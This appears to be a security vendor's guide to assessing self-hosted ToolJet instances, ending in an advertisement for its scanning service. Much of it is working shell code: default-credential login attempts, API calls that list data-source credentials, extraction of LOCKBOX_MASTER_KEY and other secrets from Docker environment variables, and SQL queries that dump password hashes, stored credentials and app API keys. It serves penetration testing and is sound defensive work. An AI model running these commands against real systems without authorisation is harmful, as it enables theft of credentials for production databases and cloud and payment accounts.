ToolJet is a widely deployed self-hosted low-code application builder — organizations use it to build internal tools that connect to production databases, APIs, and cloud services. Key assessment areas: ToolJet stores credentials for all connected data sources (production databases, AWS, Stripe, Twilio, etc.) in its own database; the admin account can read all data source credentials; ToolJet encrypts stored credentials using LOCKBOX_MASTER_KEY — losing this key or exposing it compromises all stored credentials; and environment variables for app builders can include production API keys. This guide covers systematic ToolJet security assessment.
# ToolJet — default credential testing and JWT access
TJ_URL="https://tools.example.com"
# ToolJet common default credentials
for CRED in "admin@example.com:admin" "admin@tooljet.io:password" "dev@example.com:password123"; do
EMAIL=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
RESULT=$(curl -s -X POST "${TJ_URL}/api/v2/login" \
-H "Content-Type: application/json" \
-d "{\"email\":\"${EMAIL}\",\"password\":\"${PASS}\"}" 2>/dev/null)
echo "$RESULT" | python3 -c "
import json,sys
d=json.load(sys.stdin)
if d.get('auth_token') or d.get('token'):
token = d.get('auth_token') or d.get('token','')
print(f'SUCCESS: ${EMAIL}/${PASS}')
print(f' token: {str(token)[:30]}...')
print(f' workspace: {d.get(\"current_organization_id\")}')
elif d.get('statusCode') == 401:
print(f'FAIL: invalid credentials')
else:
print(f'Response: {str(d)[:80]}')
" 2>/dev/null
done
# Get current user info with token
TJ_TOKEN="your-tooljet-token"
curl -s "${TJ_URL}/api/users/me" \
-H "Authorization: Bearer ${TJ_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User: {d.get(\"email\")} name={d.get(\"first_name\")} {d.get(\"last_name\")}')
print(f'role={d.get(\"role\")} admin={d.get(\"admin\")}')
" 2>/dev/null
# ToolJet — data source credential enumeration
TJ_URL="https://tools.example.com"
TJ_TOKEN="your-tooljet-token"
# List all data sources and their configurations
curl -s "${TJ_URL}/api/v2/data_sources" \
-H "Authorization: Bearer ${TJ_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
sources = d if isinstance(d, list) else d.get('data_sources',[])
print(f'Data sources: {len(sources)}')
for ds in sources:
print(f' [{ds.get(\"id\")}] {ds.get(\"name\")} type={ds.get(\"kind\")}')
# options may contain connection details
opts = ds.get('options',{})
for k, v in opts.items():
# Check for plaintext credential fields
if isinstance(v, dict) and v.get('encrypted') == False:
print(f' PLAINTEXT {k}: {str(v.get(\"value\",\"\"))[:50]}')
elif any(x in k.lower() for x in ['host','port','database','db']):
print(f' {k}: {str(v)[:60]}')
" 2>/dev/null
# Get specific data source details including connection options
DS_ID="datasource-uuid"
curl -s "${TJ_URL}/api/v2/data_sources/${DS_ID}" \
-H "Authorization: Bearer ${TJ_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'DS: {d.get(\"name\")} kind={d.get(\"kind\")}')
for k, v in d.get('options',{}).items():
print(f' {k}: {str(v)[:80]}')
# Encrypted fields have {\"encrypted\":true,\"value\":\"CIPHERTEXT\"}
# Unencrypted fields have {\"encrypted\":false,\"value\":\"PLAINTEXT\"}
" 2>/dev/null
# Test data source query execution — runs queries against connected databases
curl -s -X POST "${TJ_URL}/api/v2/data_sources/${DS_ID}/test_connection" \
-H "Authorization: Bearer ${TJ_TOKEN}" \
-H "Content-Type: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Connection test: {d}')
" 2>/dev/null
# ToolJet PostgreSQL database and LOCKBOX_MASTER_KEY extraction
# Docker environment — critical secrets
docker inspect tooljet 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['PG_','TOOLJET','SECRET','LOCKBOX','SMTP','REDIS','DB_']):
print(e)
" 2>/dev/null
# LOCKBOX_MASTER_KEY — AES-256 key used to encrypt all data source credentials
# SECRET_KEY_BASE — Rails secret key base for session signing
# PG_USER, PG_PASS, PG_DB — ToolJet PostgreSQL credentials
# SMTP_PASSWORD — email delivery password
# TOOLJET_DB_URL — full database connection string with credentials
# PostgreSQL — ToolJet database
psql -h localhost -U tooljet -d tooljet 2>/dev/null << 'EOF'
-- All users
SELECT id, email, first_name, last_name,
role, admin, status,
encrypted_password,
created_at
FROM users
ORDER BY admin DESC, created_at;
EOF
-- All data sources with encrypted credential options
psql -h localhost -U tooljet -d tooljet 2>/dev/null << 'EOF'
SELECT ds.id, ds.name, ds.kind,
ds.options::text as options_json
-- options JSON: {"field_name":{"encrypted":true/false,"value":"..."}}
-- encrypted=false: plaintext credential visible here
-- encrypted=true: decryptable with LOCKBOX_MASTER_KEY
FROM data_sources ds
ORDER BY ds.created_at DESC;
EOF
-- PostgreSQL data sources: host, port, database, username
-- AWS data sources: access_key_id, secret_access_key, region
-- Stripe: secret_key (live sk_live_...)
-- Twilio: account_sid, auth_token
-- App environment variables
psql -h localhost -U tooljet -d tooljet 2>/dev/null << 'EOF'
SELECT ae.app_id, ae.key, ae.value,
ae.is_client_side
FROM app_environments_variables ae
ORDER BY ae.app_id, ae.key;
EOF
-- Contains: production API keys, database URLs, feature flags stored per app
| Security Test | Method | Risk |
|---|---|---|
| Default credential testing and admin JWT acquisition | POST /api/v2/login with admin@example.com/admin — JWT token for admin access; all data sources readable and queryable; all app configurations accessible; user management capabilities | Critical |
| Data source credential enumeration | GET /api/v2/data_sources — all connected system credentials; PostgreSQL/MySQL passwords, AWS access keys, Stripe secret keys, Twilio tokens; options JSON with encrypted=false fields in plaintext | Critical |
| LOCKBOX_MASTER_KEY extraction from Docker environment | Docker inspect env vars — AES-256 master key decrypts all encrypted data source credentials; SECRET_KEY_BASE for session token forgery; PG_PASS for database access | Critical |
| PostgreSQL data_sources table credential extraction | SELECT options FROM data_sources — all connection strings and API keys; encrypted=true fields decryptable with LOCKBOX_MASTER_KEY; plaintext fields directly readable | Critical |
| App environment variable secret enumeration | SELECT key, value FROM app_environments_variables — production API keys, database URLs, feature flags; client-side variables exposed in browser without authentication | High |
Ironimo tests ToolJet deployments for default credential testing (admin@example.com/admin), data source credential enumeration including plaintext field extraction, LOCKBOX_MASTER_KEY Docker environment variable exposure, PostgreSQL data_sources encrypted credential assessment, app environment variable secret scanning, SECRET_KEY_BASE session token forgery assessment, SSO misconfiguration testing, workspace user enumeration, data source connection test abuse, and query execution against connected databases via the ToolJet API.
Start free scan